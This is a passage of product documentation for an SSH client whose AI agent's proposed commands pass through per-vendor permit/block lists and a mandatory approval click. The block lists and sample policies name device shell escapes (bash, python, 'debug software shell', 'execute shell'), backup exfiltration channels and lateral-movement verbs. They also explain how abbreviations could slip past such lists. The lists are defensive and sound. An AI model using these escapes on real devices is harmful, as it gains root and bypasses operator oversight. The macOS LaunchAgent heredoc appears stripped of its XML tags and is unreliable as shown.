**Session control:** - `logout`, `exit`, `quit`, `end` ## Pipe stages NX-OS pipes are richer than IOS — they include UNIX-style filters (`grep`, `head`, `sort`, `uniq`, `wc`). **Allowed:** `include`, `exclude`, `begin`, `section`, `count`, `grep`, `egrep`, `head`, `last`, `sort`, `uniq`, `wc`, `diff` **Blocked:** - `redirect`, `tee`, `append` — file writes - `vsh` — NX-OS virtual shell escape, available as a pipe stage rather than a top-level command. Blocked separately because pipe-stage commands are checked on a separate list from top-level ones. - `run-script` --- # Arista EOS Source: https://transitai.app/docs/vendors/arista-eos/ Arista EOS — Arista data-center switches. EOS uses a Cisco-IOS-style CLI; ~90% of the surface mirrors [Cisco IOS](/docs/vendors/cisco-ios/). The differences live in the shell-escape blocks — EOS runs on a Fedora userland, so `bash` and embedded `python` are direct bypass routes that need explicit blocks. ## Shorthand expansion Identical to Cisco IOS — `sh` / `sho` / `shw` → `show`, `wr` / `wri` → `write`, `p` → `ping`, `tr` → `traceroute`. `wr mem` canonicalization is the same critical-path concern as on Cisco IOS. ## Allowed (head) - `show`, `ping`, `traceroute` - `dir`, `more` - `terminal length`, `terminal monitor`, `terminal no monitor` ## Blocked (head) **Arista-specific shell + scripting escapes:** - `bash` — drops to the underlying Fedora root shell. **The** most important block on EOS — once in bash, the permit list is fully bypassed and the attacker has root on the box. - `python`, `python2`, `python3` — embedded Python interpreters, same blast radius as bash, different entry points - `event-handler` — Arista's analog to Cisco IOS's `event manager`; defining or invoking a handler runs arbitrary scripts - `agent` — TerminAttr / state-streaming agent control - `daemon` — manual daemon launch **Privileged-mode + configure:** - `enable`, `disable` - `configure`, `conf t` **Saves + file mutations:** - `write`, `copy`, `delete`, `erase`, `format`, `boot` **Reload / reset / clear:** - `reload`, `reset`, `clear` **Session control:** - `logout`, `exit`, `quit`, `end` ## Pipe stages **Allowed:** `include`, `exclude`, `begin`, `section`, `count`, `json` (EOS-specific — JSON output format), `format` **Blocked:** - `redirect`, `tee`, `append` — file writes - `awk` — arbitrary awk scripts can write files and spawn subshells via `system()`; the only platform we explicitly block awk on because EOS routes pipe output through a real awk binary --- # Palo Alto PAN-OS Source: https://transitai.app/docs/vendors/pan-os/ Palo Alto PAN-OS — Palo Alto Networks firewalls and Panorama. PAN-OS has its own CLI flavor — candidate-config + commit model (like Junos), separate `request restart system` / `request shutdown system` verbs, and a unique shell-escape vector at `debug software shell` that drops to a Linux root shell on the firewall. ## Shorthand expansion | Alias | Canonical | |---|---| | `sh`, `sho`, `shw` | `show` | | `p` | `ping` | | `tr` | `traceroute` | We deliberately do **not** canonicalize `del` → `delete`. `delete` is blocked anyway; the alias would risk turning unrelated `del-foo` commands into spurious block hits. ## Allowed (head) - `show`, `ping`, `traceroute` - `less`, `tail` — read-only file/log viewers - `find` — search (`find command …`) - `grep` — filter applied to running output - `view-config` — read-only candidate-config view - `set cli pager`, `set cli terminal`, `set cli timeout` — pager, terminal type/width, idle timeout. These are the only carved-out `set` heads — everything else under `set` (`set deviceconfig`, `set network`, `set rulebase`, ...) falls through to default-deny. ## Blocked (head) **Configuration model:** - `configure` — enters config mode - `edit` — navigates within config - `delete`, `commit`, `commit-all`, `commit-force` - `load`, `save`, `revert`, `rename`, `move`, `copy` **File / transfer:** - `scp` — `scp export`, `scp import` - `tftp`, `ftp` — legacy file transfer - `clear` — counters, logs, sessions, ARP entries **The critical shell escape:** - `debug software shell` — drops to the underlying Linux shell **as root**. The single most important block on PAN-OS — once in the shell, the permit list is fully bypassed and the attacker has root on the firewall. **Other `debug` subtrees:** - `debug system ` — `debug system maint-mode` reboots into maintenance mode; adjacent subcommands (`loadcfg`, `disk-image`) modify persistent state. Block the entire prefix. **System control:** - `request restart`, `request shutdown` - `request system` — license/cert imports + more - `request platform-software` — image management - `request high-availability` — HA state mutation - `request password-hash` — password hash generation (escapes redaction) **Session / mode manipulation:** - `exit`, `quit`, `logout` - `run` — escape from config-mode to operational mode ## Pipe stages **Allowed:** `match`, `except`, `count` **Blocked:** - `redirect` — writes output to a file/URL - `tee` — display AND save (uncommon on PAN-OS but documented) --- # Generic Linux / Unix Source: https://transitai.app/docs/vendors/linux/ Generic Linux / Unix server — any device whose CLI is the open UNIX command space. **Mode:** unrestricted (the only vendor in v1 without a per-command permit list). ## Why "unrestricted"? A Linux server has no realistically bounded set of "safe" commands. The operational CLI is the entire UNIX command space — `ls`, `cat`, `ps`, `top`, `df`, `journalctl`, `systemctl status`, ad infinitum. An honest "allow these read verbs, block these destructive ones" list would be both **infinite** and **false confidence**: - We'd miss the next thousand destructive verbs. - You'd trust the list anyway. Two properties preserve the spirit of Transit AI's permit-list-AND-click rule even without a per-command list: ### 1. The approval dialog is mandatory Every command the AI proposes on a Linux device opens an approval dialog with an amber warning banner at the top. There is no silent-execution path. ### 2. The always-allow shortcut is refused On other vendors, you can mark "always allow this pattern in this chat" to skip the approval dialog for matching commands (the permit list still runs). On Linux, this shortcut is unavailable — every command needs an explicit click, no exceptions. ## What you'll see When the AI proposes any command on a Linux device, the approval dialog renders with this warning above the command box: > Generic Linux/Unix server — Transit AI cannot enforce a read-only > command list. Verify every command before approving. The "always > allow" shortcut is disabled for this device class. Approve runs the command. Deny doesn't. There is no shortcut. ## The risk and the mitigation Risk: the AI proposes a destructive command and you reflex-approve. Mitigation: the warning banner, the mandatory dialog, and the fact that the always-allow shortcut is unavailable. You retain full agency over what runs — Transit AI just won't pretend a permit list is protecting you when it can't. ## When to use this vendor profile - Your inventory record is a generic Linux server (jumpbox, monitoring host, etc.). - The vendor isn't on the [supported list](/docs/vendors/) yet and you'd rather not wait for vendor-specific coverage. For a vendor with a documented safe-command surface that we don't yet support, [open a request](mailto:hello@transitai.app). We ship new vendor profiles regularly. --- # Bring your own policy Source: https://transitai.app/docs/byop/ > **Available in Transit 1.0.0 and later.** Point Transit at a folder of > your own `.yaml` policies (Settings → Policies, or the > `TRANSIT_USER_POLICIES` environment variable). See [Setting it > up](#setting-it-up) for the steps; the sample policies on this page are > ready to drop in. Transit ships a curated, read-only command permit list for each [supported vendor](/docs/vendors/). BYOP extends that model to *your* environment: - **Add allowed commands** to a shipped vendor's list (e.g. a read-only `show` your platform supports that we don't list yet). - **Cover vendors Transit doesn't ship** — write a policy for any CLI and Transit AI gates commands against it the same way. - **Share with your team** — policies are plain local YAML files; the policy directory can point at a shared drive or NAS. Nothing about your policies touches Transit Cloud. ## The safety floor doesn't move BYOP relaxes nothing that matters: - **Shipped block lists are a hard floor.** A user policy can add allowed commands; it can never unblock a command Transit blocks — config-mode entry, write verbs, and shell escapes stay denied even if a user policy tries to allow them. - **The approval click stays.** Every command the AI proposes — under any policy — still requires your explicit approval in the app before it runs. Policies are damage control, not the only line of defense. - **A broken policy file fails safe.** If your YAML doesn't parse, the app launches with a warning, ignores the broken layer, and keeps the shipped policy intact. ## Your policies, your responsibility The safety floor and the per-command approval prompt above are guardrails — not a guarantee. A Bring Your Own Policy file is authored and supplied **by you (or your team)**, and it widens what the AI may *propose*. Any command a user policy permits — and that you approve in the app — runs against your device, and **you are solely responsible for the outcome.** - **You own what your policies allow.** Adding an `allowed` pattern, or defining a custom vendor, is your decision. Transit AI does not review, validate, or vouch for user-supplied policies, and is **not responsible for any disruption, outage, data loss, configuration change, or other consequence** of a command run while a BYOP policy is in effect. - **Vet shared and third-party policies before use.** A file on a shared drive or NAS can be changed by anyone with write access. Review every policy — including the sample policies below — against your own environment and firmware before pointing Transit at it, and treat a policy directory with the same care as any other code you choose to run. - **Provided "as is."** The sample policies and the BYOP feature are provided without warranty of any kind. This page is product documentation, not a contract — your use of Transit AI remains governed by the [Terms of Service](/terms/). ## Setting it up Three things have to line up: a folder of policy files, Transit pointed at that folder, and each device's vendor matching a file. The binding is the **filename** — `.yaml` — so getting the name right is the whole trick. 1. **Create a policy folder.** Anywhere on your machine (or a shared drive / NAS for team use), e.g. `~/transit-policies/`. Put your `.yaml` files **directly** in it — Transit only reads the top level, so files inside subfolders are ignored. (That's why the bundled samples live in a `samples/` subfolder and are never auto-loaded: copy one *out* into your folder to use it.) 2. **Name each file after the vendor — the filename is the vendor tag.** Use a lower-case, filename-safe name with no spaces: `.yaml`. - **To extend a vendor Transit ships,** match its tag exactly so your `allowed` patterns layer on top of the built-in list. The shipped tags are `arista_eos`, `cisco_ios`, `cisco_ios_xe`, `junos`, `linux`, `nxos`, and `pan_os` — so to add a read-only `show` to Cisco IOS, your file is `cisco_ios.yaml`. - **To define a vendor Transit doesn't ship,** pick any name and that name *becomes* the vendor: `fortios.yaml` defines a vendor called `fortios`. A custom vendor has no shipped permit list behind it, so every command the AI proposes needs a per-command approval (the "always allow" shortcut is disabled for custom vendors by design). 3. **Point Transit at the folder.** Either: - **Settings → Policies** in the desktop app — paste the folder path and **Save** (stored in Transit's config), **or** - the **`TRANSIT_USER_POLICIES`** environment variable set to the folder path. The environment variable wins: when it's set, the Settings field shows the path read-only. 4. **Relaunch Transit.** Policies load at startup, so changes apply on the next launch. Settings → Policies lists the vendors it loaded and shows any warnings — a file that fails to parse is skipped (the shipped policies stay intact), not fatal. 5. **Set each device's vendor to match the filename.** When you add or edit a device, choose the vendor whose tag equals your file's name — for a custom vendor, type that exact name. Transit uses the device's vendor to decide which policy adjudicates its commands. > **The filename is the binding.** `fortios.yaml` only governs devices > whose vendor is `fortios`. If the device's vendor doesn't match a > loaded policy file, your policy silently doesn't apply — and a custom > vendor with no matching policy falls back to default-deny with > per-command approval. ## Sample policies Two vetted, read-only starting points for popular platforms Transit doesn't ship yet. Review every pattern against your environment and firmware version before use — these are conservative baselines, and comments in each file explain why every blocked verb is blocked. ### Fortinet FortiOS (FortiGate) Read-only `get`/`show`/`diagnose` access with reachability checks, while blocking config mode, the `execute` outage/restore verbs, the `execute backup` exfiltration channel, lateral movement via `execute ssh`/`telnet`, and the `execute shell` escape. FortiOS accepts prefix abbreviations (`conf` = `config`), so the policy's alias map expands the common contractions before matching — an abbreviated verb can't sneak past the block list. ```yaml mode: gated precedence: block-wins canonicalization: aliases: conf: config exec: execute diag: diagnose sh: show g: get allowed: - "^get( |$)" - "^show( |$)" - "^diagnose sys status" - "^diagnose sys top( |$)" - "^diagnose sys session list" - "^diagnose hardware " - "^diagnose ip arp list" - "^diagnose ip route " - "^diagnose vpn tunnel list" - "^diagnose firewall statistic show" - "^execute ping( |$)" - "^execute ping6( |$)" - "^execute traceroute( |$)" - "^execute log filter " - "^execute log display( |$)" blocked: - "^config( |$)" - "^execute shell" - "^execute ssh( |$)" - "^execute telnet( |$)" - "^execute reboot" - "^execute shutdown" - "^execute factoryreset" - "^execute restore" - "^execute erase" - "^execute formatlogdisk" - "^execute set-next-reboot" - "^execute batch" - "^execute cfg" - "^execute backup" - "^execute usb" - "^execute update-now" - "^execute date" - "^execute time" - "^execute disconnect-admin-session" - "^execute log delete" - "^execute log roll" - "^diagnose sys kill" - "^diagnose sys session clear" - "^diagnose ip arp delete" pipe_allowed: - "^grep( |$)" pipe_blocked: [] ``` ### MikroTik RouterOS v7 RouterOS commands are slash-paths with a trailing verb (`/ip address print` reads; `/ip address add` writes). The policy allows paths ending in read verbs (`print`, screen-only `export`, traffic monitors) plus reachability tools, and blocks the mutation verbs after any path, the `/system` outage and code-execution trees, `/tool fetch` (file ingress), and `file=` anywhere — `print file=` and `export file=` write to flash storage. ```yaml mode: gated precedence: block-wins canonicalization: aliases: {} allowed: - "^/[a-z][a-z0-9 /-]* print( |$)" - "^/[a-z][a-z0-9 /-]* export( |$)" - "^/export( |$)" - "^/interface monitor-traffic " - "^/tool monitor-traffic " - "^/ping( |$)" - "^/tool ping( |$)" - "^/tool traceroute( |$)" blocked: - " (add|set|remove|edit|move|enable|disable|unset|comment)( |$)" - "^/system (reboot|shutdown|reset-configuration|backup|package|upgrade|routerboard|license)" - "^/system script" - "^/system scheduler" - "^/import" - "^/execute" - "^/console" - "^/tool (fetch|bandwidth-test|traffic-generator|e-mail|sms)" - "^/file" - "^/password" - "file=" pipe_allowed: [] pipe_blocked: [] ``` ## Policy file anatomy | Field | What it does | |---|---| | `mode` | `gated` runs the permit list; `unrestricted` skips it (every command still needs your click — used for generic Linux). | | `precedence` | Tiebreak when a command matches both lists. `block-wins` is the safe default. | | `canonicalization.aliases` | First-word contractions the CLI accepts (`wr` → `write`). Without these, an abbreviation can sneak past the block list. | | `allowed` / `blocked` | Anchored regex patterns matched against the (lower-cased, alias-expanded) command. No match at all = denied. | | `pipe_allowed` / `pipe_blocked` | Same idea, applied to every stage after a `\|`. An empty `pipe_allowed` refuses piped commands entirely. | The default is always **deny**: a command that matches nothing is refused, so an incomplete policy fails toward safety. --- # How-tos Source: https://transitai.app/docs/how-tos/ Step-by-step guides to the most common Transit AI workflows. Each page is self-contained — you can land on it from a search result and have everything you need. ## Setup - **[Sign in](/docs/how-tos/sign-in/)** — first-time sign-in to Transit AI Cloud. - **[Create an auth profile](/docs/how-tos/create-auth-profile/)** — every backend type (keyring, SSH agent, 1Password, env var) explained. - **[Find your user ID and organization ID](/docs/how-tos/find-your-ids/)** — values to share with support or paste into a bug report. - **[Import connections in bulk](/docs/how-tos/import-connections/)** — migrate your saved sessions from SecureCRT, MTPuTTY, MobaXterm, an ssh_config, or a CSV; credentials are mapped separately, never imported. ## Sessions - **[Add a device](/docs/how-tos/add-a-device/)** — put a host in your inventory. - **[Connect to a device](/docs/how-tos/connect-to-a-device/)** — three equivalent ways to open a session. - **[Edit a device](/docs/how-tos/edit-a-device/)** — change host, port, vendor, auth profile, terminal preferences. - **[Reconnect a closed session](/docs/how-tos/reconnect-a-session/)** — press Enter to revive a tab. - **[Split panes side-by-side](/docs/how-tos/split-pane/)** — two sessions in one tab. - **[Connect to a console cable](/docs/how-tos/console-cable/)** — USB-to-serial for out-of-band access ([tested cable](https://www.amazon.com/dp/B0774JV2QQ)). - **[Export a session's scrollback](/docs/how-tos/export-a-session/)** — save to disk with optional age encryption. - **[Use the button bar](/docs/how-tos/use-the-button-bar/)** — one-click macro buttons that send a command (with Enter, delays, or a clipboard paste) to the active session. ## Per-device preferences - **[Turn on syntax highlighting](/docs/how-tos/syntax-highlighting/)** — colorize keywords and statuses. - **[Turn on quick copy/paste](/docs/how-tos/quick-copy-paste/)** — auto-copy on select, right-click and middle-click paste. ## AI agent - **[Use the AI agent](/docs/how-tos/use-the-agent/)** — open the chat panel, ask a question, approve a command. - **[Bring your own provider key](/docs/how-tos/bring-your-own-key/)** — BYOK setup for Anthropic or OpenAI (free with every paid tier). ## Teams For organizations running Transit AI on a [team plan](/docs/teams/). - **[Buy a team plan](/docs/how-tos/buy-a-team-plan/)** — first-time admin signup with a mix of tiers. - **[Invite a teammate](/docs/how-tos/invite-a-teammate/)** — send invites by email; manage open invites. - **[Accept a team invite](/docs/how-tos/accept-a-team-invite/)** — what the recipient sees when clicking the link. - **[Change a member's tier](/docs/how-tos/change-a-member-tier/)** — move someone between Operator / Pro / Max safely. - **[Add or remove team seats](/docs/how-tos/add-or-remove-team-seats/)** — adjust the per-tier seat counts on the subscription. - **[Manage member overage](/docs/how-tos/enable-team-overage/)** — on by default per member; turn it off to stop spending past the tier allowance. --- # Sign in Source: https://transitai.app/docs/how-tos/sign-in/ This page covers how to sign in to Transit AI Cloud the first time. Sign-in is required for the AI agent; the SSH client works offline. ## Steps 1. Open Transit AI. The sidebar footer shows a **Sign in** chip. 2. Click **Sign in**. Transit AI launches your system browser at the sign-in page. 3. Complete the auth flow in the browser (email, password, passkey — whatever you've set up). 4. The browser shows a "You're signed in" confirmation and automatically hands control back to Transit AI via a `transit://` deep link. 5. The desktop's sidebar footer now shows your account chip with your tier (Free / Pro / Max). ## What's stored on disk After sign-in, two short-lived items live in your OS keychain: - An access token (15 minutes, refreshed automatically) - A rotating refresh token (30 days, replaced on every refresh) No prompts, no completion content, no device data is stored or synced to the cloud as part of sign-in. ## If the browser doesn't come back to Transit AI The deep-link handler is registered with your OS on first install. On macOS, if you've never run a signed Transit AI build, Launch Services may not have indexed the handler. Workarounds: - **macOS**: open Transit AI at least once before sign-in. - **Linux**: ensure your desktop environment has registered `transit-app.desktop`. - **Windows**: re-run the installer if the deep-link handler is missing. If you're still stuck, sign in from the browser and copy the URL it tries to open; paste it into the address bar of a fresh browser window to trigger the handler manually. ## Signing out **Settings → Account → Sign out**. Revokes the refresh token server-side and clears keychain entries. The next start prompts for sign-in again. --- # Create an auth profile Source: https://transitai.app/docs/how-tos/create-auth-profile/ An **auth profile** is a named pointer to wherever a device's credential lives — not the credential itself. The credential stays in its backing store; Transit AI reads it just long enough to authenticate an SSH session, then drops it from process memory. Transit AI supports several credential sources. Most can be configured from the UI — including pointing at an SSH key file on disk; only the age-encrypted-file backend still requires editing the inventory TOML directly. ## "Wait, why am I making a profile? I just type a username and password." Fair question. For decades the SSH workflow has been: open terminal, `ssh user@host`, type password, you're in. Transit AI doesn't change what happens on the wire — that's still a stock SSH connection — but it changes where the **password (or key)** lives in between connects. The reasons it's worth a few extra clicks the first time: - **You stop retyping the password every connect.** Once it's enrolled in your OS keychain (or SSH agent), Transit AI fetches it silently on each connect and drops it from memory after auth. - **You stop pasting it into a config file.** The inventory file records the *reference* — "look up `transit/lab-pw` in the keychain" — never the value. A leaked inventory leaks no passwords. - **You reuse one profile across many devices.** All your lab gear shares the same `admin` account? One profile, every device row points at it. - **The AI can't read it.** The AI and the credential store are isolated components with no programmatic path between them — a property of the build, not a comment. **If this is your first time, start with [OS keyring](#backend-os-keyring-recommended-for-most-people) below.** It's the closest mental model to "save my password somewhere safe so I don't retype it" — exactly what Keychain / Credential Manager / GNOME Keyring already do for your browser logins and Wi-Fi passphrases. If you want to authenticate with keys instead of passwords — a good idea for anything reachable from the public Internet — use [SSH key file](#backend-ssh-key-file) to point straight at a key on disk, or [SSH agent](#backend-ssh-agent) / [1Password SSH agent](#backend-1password-ssh-agent) to keep the key in an agent. See the [appendix on generating a key](#appendix-generate-an-ssh-key) if you don't have one yet. ## Open the auth profile manager 1. Click the **key icon** in the sidebar header. (Top of the left sidebar, between the refresh button and the collapse button.) 2. The Auth profile manager dialog opens, listing your existing profiles. 3. Click **New profile** to open the editor. ## Common fields | Field | Notes | |---|---| | **Name** | Stable, human-readable identifier. Devices reference it by name. Example: `lab-pw`. | | **Username** | The SSH login user. Example: `knox`. | | **Secret backend** | Where the password / key actually lives. See the per-type sections below. | ## Backend: OS keyring (recommended for most people) Stores the secret in your operating system's native keystore: - **macOS** — Keychain - **Windows** — Credential Manager - **Linux** — Secret Service (GNOME Keyring, KWallet, KeePassXC, …) This is the closest analogue to "save my password somewhere safe": your OS already does this for Wi-Fi passphrases, browser logins, and saved app credentials. Transit AI hands the password directly to that same service on save, and never reads it back into the UI afterwards. **Fields:** - **Keyring key** — the lookup name. Example: `transit/lab-pw`. Prefix with `transit/` so you can spot Transit-owned entries when you browse Keychain Access / `secret-tool` later. - **Secret value** — the actual password. Written straight to the OS keychain on save; the input field clears the moment you click Save. **Steps:** 1. Pick `OS keyring` from the Secret backend dropdown. 2. Enter a keyring key (e.g. `transit/lab-pw`). 3. Enter the secret value. 4. Click **Save**. Transit AI enrolls the secret into the keychain under the supplied key. To rotate the password later, edit the profile and Save a new value — the OS keychain entry is overwritten in place. ## Backend: SSH agent Uses your running SSH agent as the credential source. An **SSH agent** is a long-running process that holds your private keys unlocked in memory so you don't retype the key passphrase on every connect. Common implementations: - **OpenSSH `ssh-agent`** — ships with every Unix-y system; started by default on macOS, opt-in service on Windows 10+ ("OpenSSH Authentication Agent"). - **1Password SSH agent** — see the [dedicated section](#backend-1password-ssh-agent) below. - **`gpg-agent`** with `enable-ssh-support` — common in GnuPG-heavy setups. - **`keychain`, `ssh-ident`, `pageant`** — wrappers and Windows equivalents. Transit AI doesn't talk to any of them directly. It just dials the Unix domain socket (or Windows named pipe) named by the **`SSH_AUTH_SOCK`** environment variable. Whichever agent is at that socket — and however it stores its keys — Transit AI sees a list of identities and asks the agent to sign with one. **Fields:** - **Public-key fingerprint** (optional) — pin to a specific key when the agent serves multiple. Example: `SHA256:m3pYrW9pZpYrW9pZ…`. Leave blank to let the agent offer keys in order until one is accepted. **Steps:** 1. Make sure the agent is running and has at least one key loaded. On macOS / Linux: ```bash ssh-add -l ``` If it prints "The agent has no identities", load one: ```bash ssh-add ~/.ssh/transit_ed25519 ``` See the [appendix](#appendix-generate-an-ssh-key) if you don't have a key yet. 2. Pick `SSH agent` from the Secret backend dropdown. 3. Optionally paste a SHA256 fingerprint to pin a specific key. 4. Click **Save**. ### Finding `SSH_AUTH_SOCK` From a terminal: ```bash echo $SSH_AUTH_SOCK ``` What to expect by platform: - **macOS (OpenSSH default)** — `/private/tmp/com.apple.launchd.XXXXXX/Listeners`. Always set in GUI sessions; if empty, the launchd agent has been disabled. - **macOS (1Password)** — `~/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock`. See the next section. - **Linux (GNOME / KDE)** — typically `/run/user//keyring/ssh`, set by PAM at login. - **Linux (manual `ssh-agent` started from `.bashrc` / `.zshrc`)** — `/tmp/ssh-XXXXXX/agent.`. - **Windows** — the OpenSSH service uses the named pipe `\\.\pipe\openssh-ssh-agent`. The OS doesn't expose a socket path via env var; Transit AI's Windows build auto-detects the pipe. You do **not** need to set `SSH_AUTH_SOCK` on Windows for OpenSSH. If `echo $SSH_AUTH_SOCK` is empty on macOS / Linux, no agent is configured for that shell. Either start one (`eval "$(ssh-agent -s)"` for OpenSSH; see below for 1Password) or pick a different backend. If Transit AI is launched from the GUI (Finder, Spotlight, Activity Bar) rather than a terminal, **it inherits the *login shell's* environment**, not whatever your interactive `.zshrc` sets. If your agent is configured by `.zshrc` and Transit AI doesn't see it, export `SSH_AUTH_SOCK` from `~/.zprofile` (loaded for login shells) or a launchd `LaunchAgent` so GUI launches inherit it too. ## Backend: 1Password SSH agent [1Password's SSH agent](https://developer.1password.com/docs/ssh/agent/) turns your 1Password vault into the source of truth for SSH keys. The private key never lives on disk — it stays in 1Password's encrypted vault, and 1Password mediates each signing request with a Touch ID / Apple Watch / Windows Hello prompt (or a click in the 1Password app). Transit AI talks to 1Password the same way it talks to any other SSH agent: through the `SSH_AUTH_SOCK` socket. So this section is half "configure 1Password to be your agent" and half "make sure Transit AI's shell sees the socket". **In the auth profile editor:** pick `SSH agent` and (optionally) paste the SHA256 fingerprint of your 1Password key — the rest is configured outside Transit AI. ### Step 1: Enable the 1Password SSH agent 1. Open the **1Password desktop app** (the SSH agent is a desktop feature; the browser extension alone won't do). 2. Go to **Settings → Developer**. 3. Tick **Use the SSH agent**. 4. Tick **Display key names when authorizing connections** so the approval prompts tell you which key is being requested. 5. (Optional) Tick **Integrate with 1Password CLI** if you'll also use the `op` CLI for the [1Password CLI backend](#backend-1password-cli-vault-item-lookup) below. ### Step 2: Add an SSH key to 1Password Two ways: **Generate a brand-new key inside 1Password (recommended).** The private key never touches disk: 1. In the 1Password app, **+ → SSH Key**. 2. Click **Add Private Key → Generate a New Key**. 3. Pick **Ed25519** (smallest, fastest, modern — see the appendix for the RSA fallback rationale). 4. Name it something memorable (e.g. `Transit lab — ed25519`). 5. **Save**. 1Password generates the key inside its vault; the public key is shown for copying. 6. Copy the public key block (`ssh-ed25519 AAAA…`) and install it on each device that should accept it (see the [appendix](#install-the-public-key-on-a-device) for vendor-by- vendor syntax). **Import an existing key.** If you already generated one on disk (per the appendix below) and want to move it into 1Password: 1. In the 1Password app, **+ → SSH Key**. 2. **Add Private Key → Import**. 3. Pick the private key file (e.g. `~/.ssh/transit_ed25519`). 4. **Save**. 5. **Remove the on-disk copy** so the only copy lives in 1Password: ```bash rm ~/.ssh/transit_ed25519 ``` On SSDs, file-level "secure erase" is largely a myth — the real protection is disk-wide encryption (FileVault, BitLocker, LUKS), which you should already have on a laptop. ### Step 3: Make sure Transit AI sees the 1Password socket The 1Password SSH agent listens on a fixed path: - **macOS** — `~/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock` - **Linux** (1Password app, not the snap build) — `~/.1password/agent.sock` - **Windows** — named pipe `\\.\pipe\openssh-ssh-agent`; 1Password installs a service that owns the pipe. The 1Password app offers to write a snippet to your shell rc files that exports `SSH_AUTH_SOCK` to that path. **Confirm it's there:** ```bash echo $SSH_AUTH_SOCK ``` If you see the 1Password path, you're set — restart Transit AI from that shell. ### Add the export yourself (macOS) If the 1Password helper didn't write the snippet — or you want Transit AI to see the socket when **launched from Finder / Spotlight / Dock**, not just from a terminal — you need to put the value in **three places**, because each serves a different launch path. **Why three.** Modern macOS does not automatically source any shell file (`~/.zshrc`, `~/.zprofile`, `~/.zshenv`) for GUI- launched apps. Each launch surface has its own environment source: - **Terminal-launched apps** inherit your shell's environment (from `~/.zshrc`). - **Finder / Dock / Spotlight-launched apps** inherit `launchd`'s environment AT THE TIME FINDER/DOCK STARTED — i.e., login time. - **`open -a Transit` from a terminal** goes through launchd directly, so it picks up changes immediately. You need a setup that covers all three. #### (a) Recommended: install a LaunchAgent — permanent, survives reboot A LaunchAgent plist re-runs `launchctl setenv` at every login, *before* Finder/Dock spawn — so they (and every GUI app they launch) start with `SSH_AUTH_SOCK` already in their environment. This is the only configuration that "just works" indefinitely. Generate and load the plist in one shot. The heredoc expands `$HOME` to your actual home path before the file is written (plists themselves don't expand variables — so the absolute path gets baked in): ```bash cat > ~/Library/LaunchAgents/com.transit.ssh-auth-sock.plist < Label com.transit.ssh-auth-sock ProgramArguments /bin/launchctl setenv SSH_AUTH_SOCK $HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock RunAtLoad EOF launchctl load ~/Library/LaunchAgents/com.transit.ssh-auth-sock.plist ``` From the next login onward, every GUI app — Transit AI included — inherits `SSH_AUTH_SOCK` pointing at 1Password's agent. No further config needed. #### (b) Apply it to your current session right now — no logout The LaunchAgent only fires at the *next* login. To get the same effect in your *current* session without rebooting, do all three steps below. (Skip this whole section if you're willing to log out + back in.) **1. Set the env var in launchd's running domain:** ```bash launchctl setenv SSH_AUTH_SOCK "$HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock" ``` **2. Verify it took:** ```bash launchctl getenv SSH_AUTH_SOCK # should print the 1Password path ``` **3. Restart Finder and Dock so they pick up the new env:** ```bash killall Finder Dock ``` Both restart automatically within a second or two. Without this step, double-clicking Transit AI in Finder spawns it with **Finder's** environment (captured at login, before `setenv`), not launchd's current environment — so the new socket value doesn't propagate. Once `killall Finder Dock` has done its work, double-clicking Transit AI from `/Applications` inherits `SSH_AUTH_SOCK` correctly. #### (c) For terminal use (`ssh-add -l`, scripts) — append to `~/.zshrc` The LaunchAgent only populates launchd's environment for GUI apps. Terminal sessions inherit from your shell rc files, which are separate. To have `ssh-add -l` and other terminal commands talk to 1Password's agent, append to `~/.zshrc`: ```bash echo 'export SSH_AUTH_SOCK="$HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock"' >> ~/.zshrc \ && source ~/.zshrc ``` Three details that matter in that line: - **Single quotes** around the whole `export …` string preserve the embedded double quotes — without them, the saved line breaks on the space in "Group Containers" when re-sourced. - **`>>` (append), not `>` (overwrite)** — `>` would truncate your existing `.zshrc`. - **`$HOME`, not `~`** — tilde doesn't expand inside double quotes. ### Step 4: Connect 1. Create an auth profile with backend `SSH agent`. Optionally paste the SHA256 fingerprint of your 1Password key (find it in the 1Password key item — **Copy fingerprint**). 2. Assign the profile to a device that has the matching public key installed. 3. **Connect**. 1Password's authorization prompt appears (Touch ID on macOS, Windows Hello on Windows, biometric on supported Linux); approve it, and Transit AI receives the signature without ever seeing the private key. ### Step 5: Verify and troubleshoot This is the step people skip — and it's where nearly every *"the key with SHA256 fingerprint … did not exist or was not available from the ssh agent"* report comes from. The cause is almost always subtle: **macOS already sets `SSH_AUTH_SOCK` in every GUI session**, pointing at Apple's *built-in* ssh-agent. The setup above **overrides** it to point at 1Password. If that override didn't fully land, Transit AI quietly talks to Apple's agent — which doesn't hold your 1Password key — and reports the key as missing. Three checks find the break every time. **1. Confirm the GUI session points at 1Password, not Apple's agent.** ```bash launchctl getenv SSH_AUTH_SOCK ``` It must print the **1Password** path (ending in `…2BUA8C4S2C.com.1password/t/agent.sock`). If it prints a `…com.apple.launchd…/Listeners` path (or nothing), the override didn't take — redo [Step 3](#step-3-make-sure-transit-ai-sees-the-1password-socket), then **fully quit Transit AI (⌘Q) and reopen it.** GUI apps read their environment once, at launch; restarting Finder/Dock does nothing if Transit AI was already running. **2. Confirm 1Password's agent actually serves the key.** Ask the 1Password socket directly (this bypasses whatever `SSH_AUTH_SOCK` is set to): ```bash SSH_AUTH_SOCK="$HOME/Library/Group Containers/2BUA8C4S2C.com.1password/t/agent.sock" ssh-add -l -E sha256 ``` - A line ending in `SHA256:…` → the agent is healthy; note that fingerprint for check 3. - **"The agent has no identities"** → 1Password is **locked**, the *Use the SSH agent* toggle is off ([Step 1](#step-1-enable-the-1password-ssh-agent)), or the key lives in a vault the agent isn't allowed to use. Unlock 1Password and re-run. - **"Could not open a connection…"** → the 1Password app isn't running, or the socket path is wrong. - If 1Password shows an **authorization prompt** the first time, approve it — until you do, the agent won't serve keys to that client. **3. Confirm the fingerprints match.** Compare the `SHA256:…` from check 2 to the fingerprint pinned in your auth profile (in 1Password: open the key item → **Copy fingerprint**). They must be identical character-for-character. If they differ, the profile is pinned to a *different* key — paste the correct fingerprint, or clear the pin to let the agent offer its keys in order. When Transit AI can't match a pinned key, its error lists **every fingerprint the agent actually offered** (`Loaded identities: […]`). That list is the fastest tell: empty means you reached an agent that holds nothing (wrong socket, or 1Password locked); populated-but- different means a fingerprint mismatch (check 3). ## Backend: 1Password CLI (vault item lookup) Uses the [1Password CLI](https://developer.1password.com/docs/cli) (`op`) to fetch a **password value** from a 